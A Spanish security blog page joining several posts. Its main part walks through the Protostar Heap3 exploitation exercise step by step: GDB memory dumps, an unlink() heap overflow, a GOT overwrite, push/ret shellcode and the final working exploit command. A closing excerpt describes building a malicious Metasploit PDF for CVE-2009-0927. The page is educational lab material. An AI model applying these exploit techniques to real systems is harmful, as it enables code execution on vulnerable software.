Como podéis ver, al comienzo de la investigación, podemos descartar 4chan.org y securityartwork.es, ya que están marcadas como “Good site” y su confianza (Trustworthiness) es por lo menos Good. Mtgmadness.com no está marcado, por lo que tendríamos que continuar con la investigación de estos dominios. En el último caso, silurian.cn, ya está marcada como dominio malintencionado, “Malware or viruses”, por lo que sería un buen punto de partida para la investigación.

Ahora mismo, el script muestra todos los resultados, pero con una modificación muy simple se le puede añadir algo de lógica y automatizar un poco más el proceso. Tengo planeado añadir más motores de reputación al script. Con más fuentes la discriminación será más efectiva y ahorrará tiempo en el proceso de la gestión del incidente.

Los comentarios y valoraciones son bienvenidos.

Resolución al ejercicio Heap03 de exploit-exercises.com

Hace ya algún tiempo vi por Twitter a @esanfelix que hacía referencia a una máquina virtual de ejercicios de exploiting y tomé nota de la dirección para cuando encontrara un hueco. Al final este verano encontré pequeños huecos para ir haciendo los ejercicios y os tengo que decir que la experiencia después de haber hecho los ejercicios de la versión protostar es altamente recomendable. Ahora mismo estoy empezando los ejercicios de la versión máquina virtual fusion y el objetivo es hacer todos los que el tiempo libre me permita ;-).

En esta primera entrada sobre esta temática, que espero que no sea la única, me gustaría contaros cómo resolver el ejercicio de título “Heap3” de la máquina virtual protostar, sobre todo intentando contar aquellas cosas que he tenido que investigar y aprender. El objetivo de este ejercicio es explotar una vulnerabilidad en el algoritmo de reserva de memoria dinámica implementado en la librería glibc (ptmalloc). Antes de empezar con los detalles comentar que he usado de guía para resolverlo la entrada del blog kroosec [3] y para entender las técnicas utilizadas ha sido vital el paper de Newlog_ [1] y el libro de blackngel [2]. De hecho decir que blackngel resuelve justo este ejercicio. Mi granito de arena en este caso es complementar su resolución con cosas que para un exploiter experimentado son obvias, pero que para alguien menos experimentado en este campo pueden venirle bien (o eso espero).

Tras situarnos vamos a empezar con la resolución paso a paso. Lo primero de todo es analizar el código que tendremos que explotar:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
    	printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
    	char *a, *b, *c;

    	a = malloc(32);
    	b = malloc(32);
    	c = malloc(32);

    	strcpy(a, argv[1]);
    	strcpy(b, argv[2]);
    	strcpy(c, argv[3]);

    	free(c);
    	free(b);
    	free(a);

    	printf("dynamite failed?\n");
}

Como vemos es un programa sencillo donde se crean tres variables de 32 bytes y se copia dentro de ellas lo que le pasemos como argumento al programa. Entonces para resolver el ejercicio tenemos que ejecutar la función winner(), que como vemos no se llama desde la función main y al conseguir ejecutarla habremos cambiado el flujo del programa. Es necesario aclarar, que la librería glibc que utiliza el binario “/opt/protostar/bin/heap3” de la máquina virtual es antigua y por lo tanto tiene vulnerabilidades que en versiones recientes ya no existen.

Viendo que hay tres free() seguidos, que utiliza una versión antigua de la librería glibc y la pista que hay en el enunciado del ejercicio, uno ya va viendo que se trata de aprovechar la vulnerabilidad de la macro unlink() cuando se libere memoria con la función free(). Para entender la vulnerabilidad de la macro unlink() os aconsejo revisar el paper de Newlog desde la página 32 a la 39. Siento poneros un puntero a este paper y no hacerlo autocontenido, pero está muy bien explicado y en castellano, así que merece la pena que saltéis y hagáis un ret cuando acabéis. Importante es tener siempre en mente la estructura de datos de un fragmento de memoria reservado y libre (lo que llaman “chunk”).

Entendido el objetivo del ejercicio, vamos a ir viendo paso a paso la ejecución del programa y cómo aprovechar la vulnerabilidad. Lo primero que vamos a ver es lo que pasa cuando se ejecuta de manera normal el binario con tres argumentos:

La memoria presenta el aspecto del dibujo anterior, con los campos “prev_size” y “size” rellenos y los datos de usuario en el campo “user data”, y como vemos las tres reservas se sitúan contiguas en memoria.

Como es obvio, a la vista del dibujo anterior, si se produce un desbordamiento del campo “user data” del fragmento a o b, se sobrescribirán las secciones de control del siguiente bloque de memoria. Viendo esta ejecución sin overflow desde un debugger como GDB, veremos el estado de la memoria una vez se ha reservado con los diferentes malloc() y se han copiado los argumentos en los espacio de memoria reservada con las funciones strcpy(). Lo que vamos a examinar en memoria es dónde están las variables y para ello debemos saber la dirección de las variables a, b, c en la memoria. Para esto tenemos que mirar el registro EAX cuando finalice el malloc(), obteniendo estos punteros:

?	a is at 0x804c008
?	b is at 0x804c030
?	c is at 0x804c058

Veamos un ejemplo de cómo localizar el puntero de la variable c:

(gdb) ni
0x080488b9	18	in heap3/heap3.c
1: x/3i $pc
0x80488b9 <main+48>:	call   0x8048ff2 <malloc> <- lanzamos el malloc
0x80488be <main+53>:	mov    %eax,0x1c(%esp)
0x80488c2 <main+57>:	mov    0xc(%ebp),%eax
(gdb) ni
0x080488be	18	in heap3/heap3.c
1: x/3i $pc
0x80488be <main+53>:	mov    %eax,0x1c(%esp)
0x80488c2 <main+57>:	mov    0xc(%ebp),%eax
0x80488c5 <main+60>:	add    $0x4,%eax
(gdb) i r 
eax            0x804c058	134529112    <- Variable c
ecx            0xf88	3976
edx            0xf89	3977
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff770	0xbffff770
ebp            0xbffff798	0xbffff798
esi            0x0	0
edi            0x0	0
eip            0x80488be	0x80488be <main+53>
eflags         0x200286	[ PF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Ahora sí, vamos a examinar la memoria de una ejecución normal del programa y ver las variables:

# Colocamos el breakpoint en la línea 24 que es justo antes del primer free()
(gdb) break 24
(gdb) run AAAAAAAA BBBBBBBB CCCCCCCC
# Una vez se para examinamos la memoria
(gdb) x/34x 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242	0x42424242	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000029	0x43434343	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000

Lo que está en rojo son los datos de control y lo que está en azul son los datos de usuario. Después de ejecutarse los tres free(), la memoria tendrá el siguiente aspecto:

0x804c000:	0x00000000	0x00000029	0x0804c028	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x0804c050	0x42424242	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000029	0x00000000	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000

En la memoria vemos como cuando se realiza el free(b) se coloca el puntero al siguiente bloque libre que es 0x0804c050, que se corresponde con el espacio de memoria liberado cuando se ha hecho el free(c). De igual forma, cuando se realiza free(a) se coloca el puntero al siguiente bloque libre, 0x0804c028, resultado de hacer free(b).

Ya hemos visto el comportamiento cuando se realiza una ejecución normal, ahora nos toca ver qué sucede cuando se introducen más de 32 bytes en el segundo argumento para sobrescribir los campos “prev_size” y “size” del fragmento de memoria de la variable c. Para esto haremos:

(gdb) run `python -c "print 'A'*8+' '+'B'*32+'E'*5+'E'*4+' '+'C'*8"`
(gdb) x/34x 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242 	0x42424242	0x42424242	0x42424242
0x804c040:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c050:	0x45454545	0x45454545	0x43434343	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000 	0x00000000

Como vemos la memoria en la dirección 0x0804c050 muestra cómo hemos conseguido sobrescribir los campos “prev_size” y “size” del último fragmento, con el valor hexadecimal de la letra ‘E’.

Con el control sobre “prev_size” y “size” tenemos que ver qué valor introducimos para tomar el control. En blog kroosec [3] vemos cómo introducen un valor de -5 y un valor de -4. A continuación explicamos el porqué de estos valores. Aún así, si no queda del todo claro recomiendo leer el capítulo del heap del libro de blackngel [2], ya que allí lo explica muy bien.

Lo primero tal y como nos cuenta @newlog_ en su paper [1] es que una de las ventajas de utilizar valores negativos es que no introduciremos bytes nulos, con lo que nos evitamos los problemas derivados de los bytes nulos.

Después dado que controlamos el campo “size”, vamos a modificar su valor para que se ejecute la macro unlink() y escribir 4 bytes donde nosotros queramos, aprovechando con esto la vulnerabilidad de unlink(). Recordemos que para saber si se debe ejecutar la macro unlink() o no el algoritmo consulta el campo “size” del siguiente fragmento para ver si el último bit está puesto a 0. Por tanto si queremos activar la macro unlink() el último bit de size debe estar a cero.

Al fijar el valor de “prev_size” a -5 y el de “size” a -4 lo que hacemos es crear un cuarto fragmento falso y activar macro unlink(). Vamos a intentar explicar cómo estos dos valores negativos consiguen lo que acabamos de decir. Como indica la documentación, para ver dónde está el siguiente fragmento se utiliza el campo size como offset. Centrándonos en nuestro caso el fragmento [c] tiene en el campo size, después de sobrescribir su valor con el overflow, el valor -4. El campo size se usa como offset para saber dónde está el inicio del siguiente fragmento. En este caso cogerá el inicio del fragmento [c] y le restará 4, obteniendo que el inicio del fragmento ficticio [d] estará en el final del fragmento (b). Veamos gráficamente que implica un valor de -4 en el campo size:

Si nos fijamos en la imagen de arriba, tenemos un nuevo fragmento (d), donde el campo size de este fragmento coincide con el prev_size del fragmento [c] y el campo prev_size de d está contenido en el campo “user data” de b. Entonces el valor que activará la macro unlink() es el valor de prev_size del fragmento c, que será el size del fragmento ficticio que hemos bautizado como d.

Cuando el algoritmo compruebe el campo “size” del fragmento (d) se encontrará con el valor (-5) cuyo valor hexadecimal es: FF FF FF F8 y viendo su valor binario vemos que el último bit (PREV_INUSE) activa unlink() ya que vale 0:

1111 1111 1111 1111 1111 1111 1111 0100 = FF FF FF F8

Vamos a ejecutar el programa con los valores que acabamos de mencionar (-4 y -5) y veamos la memoria y los registros:

(gdb) run A `python -c "print 'B'*32 + '\xf8\xff\xff\xff' + 
   '\xfc\xff\xff\xff' + 'A'*8 + 'B'*4 + 'C'*4"` C

Una vez ejecutado este comando si vemos lo que tienen los registros nos encontraremos con:

(gdb) i r
eax            0x42424242	1111638594
ecx            0x0	0
edx            0x43434343	1128481603
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff6e0	0xbffff6e0
ebp            0xbffff728	0xbffff728
esi            0x0	0
edi            0x0	0
eip            0x80498fd	0x80498fd <free+217>
eflags         0x210202	[ IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Y si observamos la instrucción que hay cargada en $eip , tenemos que:

0x80498fd <free+217>:	mov    %edx,0xc(%eax)

Esta instrucción mueve lo que hay en %edx a %eax+12. Y como vemos arriba son los elementos que controlamos al sobrescribir.

En este punto, ya sabemos cómo escribir 4 bytes donde nosotros queramos. Entonces, para ejecutar nuestro shellcode lo que vamos a hacer es sobrescribir una de las direcciones de alguna función que esté en la tabla GOT (Global Offset Table), con lo que cuando se ejecute esa función ejecutará la dirección que nosotros hemos puesto y por tanto nuestro shellcode.

Para empezar examinamos la tabla dinámica:

user@protostar:/opt/protostar/bin$ objdump -R ./heap3 

./heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804b0e4 R_386_GLOB_DAT    __gmon_start__
0804b140 R_386_COPY        stderr
0804b0f4 R_386_JUMP_SLOT   __errno_location
0804b0f8 R_386_JUMP_SLOT   mmap
0804b0fc R_386_JUMP_SLOT   sysconf
0804b100 R_386_JUMP_SLOT   __gmon_start__
0804b104 R_386_JUMP_SLOT   mremap
0804b108 R_386_JUMP_SLOT   memset
0804b10c R_386_JUMP_SLOT   __libc_start_main
0804b110 R_386_JUMP_SLOT   sbrk
0804b114 R_386_JUMP_SLOT   memcpy
0804b118 R_386_JUMP_SLOT   strcpy
0804b11c R_386_JUMP_SLOT   printf
0804b120 R_386_JUMP_SLOT   fprintf
0804b124 R_386_JUMP_SLOT   time
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

Entonces nuestro objetivo va a ser poner aquí la dirección de nuestro shellcode o de lo que queremos ejecutar. Entonces lo primero que pensamos para resolver el ejercicio es poner aquí la dirección de la función winner() que obtenemos así:

$ nm /opt/protostar/bin/heap3
08048864 T winner

La idea, como ya hemos adelantado, es ubicar en la dirección 0x0804b128-12 el valor 0x08048864 y así cuando vaya a ejecutar la función puts() ejecutará la función winner().

Obtenemos el valor:
>>> print hex(0x0804b128-12)
0x804b11c
>>> 

Probemos a ver con estos dos valores y a ver si conseguimos ejecutar la función winner():

(gdb) run A `python -c "print 'B'*32 + '\xfb\xff\xff\xff' + 
   '\xfc\xff\xff\xff'+ 'A'*5 + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"` C

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638	in common/malloc.c

(gdb) x/34x 0x804c058
0x804c058:	0x41410043	0x04b11c41	0x04886408	0x00000008
0x804c068:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c078:	0x00000000	0x00000f89	0x00000000	0x00000000
0x804c088:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c098:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0d8:	0x00000000	0x00000000
(gdb) i r
eax            0x8048864	134514788
ecx            0x0	0
edx            0x804b11c	134525212
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff6f0	0xbffff6f0
ebp            0xbffff738	0xbffff738
esi            0x0	0
edi            0x0	0
eip            0x8049906	0x8049906 <free+226>
eflags         0x210206	[ PF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
0x8049906 <free+226>:	mov    %edx,0x8(%eax)
(gdb) 

Viendo el resultado de la ejecución sigue no ejecutándose correctamente. Hemos hecho un pequeño progreso, pero aún no conseguimos ejecutar la función winner(), ¿por qué? Como vemos arriba falla cuando intentamos copiar en eax+8 el valor de edx, que si nos fijamos en lo que está haciendo es copiar el puntero a GOT[puts] -12 (0x804b11c) hacia el valor de winner+8 (0x08048864+8) provocando el segmentation fault, ya que winner+8, es una dirección de solo lectura de la sección .text y no se puede escribir sobre ella.

La razón de este comportamiento es algo que no habíamos tenido en cuenta y es la cuarta línea de la macro unlink():

#define unlink( P, BK, FD ) {        	\
	BK = P->bk;                      	\
	FD = P->fd;                      	\
	FD->bk = BK;                     	\
	BK->fd = FD;                     	\
} 

La solución a este problema pasa por copiar en GOT[puts]-12 una dirección que apunte al shellcode que almacenaremos en el primer fragmento y desde ahí saltaremos a winner(). Como no estaremos apuntando sobre winner directamente y será el heap con permiso de escritura no se producirá una violación de segmento en la cuarta escritura de la macro unlink().

A continuación vamos a construir un shellcode que salte a la dirección de la función winner. Para eso lo haremos con un push/ret:

$ cat pushret.asm
mov 0x08048864, eax
ret
$ objdump -d pushret.o
pushret.o: 	file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:   68 64 88 04 08      	push   $0x8048864
   5:   c3                  	ret

El shellcode será “68 64 88 04 08 c3”. Este shellcode tiene un tamaño de 6 bytes, por lo que no será sobrescrito por la cuarta escritura de la macro unlink() y por tanto no destrozará el shellcode. Si fuera más grande deberíamos tener en cuenta que la cuarta escritura de la macro unlink() nos lo puede sobrescribir. Después de estos pequeños ajustes quedaría así la ejecución:

$ /opt/protostar/bin/heap3 `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` 
   `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+
      '\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C
that wasn't too bad now, was it? @ 1380116991

Como vemos hemos conseguido ejecutar la función winner(), tal y como era nuestro objetivo. Si algún exploiter experimentado encuentra alguna errata le agradeceré que me lo comunique para mejorar la entrada.

A continuación os pongo las referencias que para mí han sido imprescindibles para entender diferentes puntos del ejercicio. La referencia número tres me ha servido de guía para la resolución del ejercicio y la referencia 1 y 2, me han ayudado a entender muchos de los aspectos de cómo explotar la vulnerabilidad.

Referencias:

Análisis de PDF sospechosos

A raíz de los numerosos correos sospechosos con archivos adjuntos en formato PDF que estamos detectando últimamente, he decidido introducirme en el análisis manual de estos archivos para determinar si son maliciosos y qué comportamiento tienen, en caso de serlo. En este artículo voy a mostrar un sencillo ejemplo de generación y análisis de un PDF malicioso. Para la demostración haré uso de Metasploit para generar el archivo PDF malicioso y REMnux para el análisis del fichero PDF y su contenido. Vayamos por partes, para comenzar.

Generación del PDF

La creación es sencilla: simplemente se elige el exploit para la vulnerabilidad que se quiere aprovechar, en este caso se crea un archivo PDF en blanco con una vulnerabilidad en GetIcon para Adobe Reader (CVE-2009-0927). El código a ejecutar será un conexión inversa a la máquina del atacante.

[Read more…]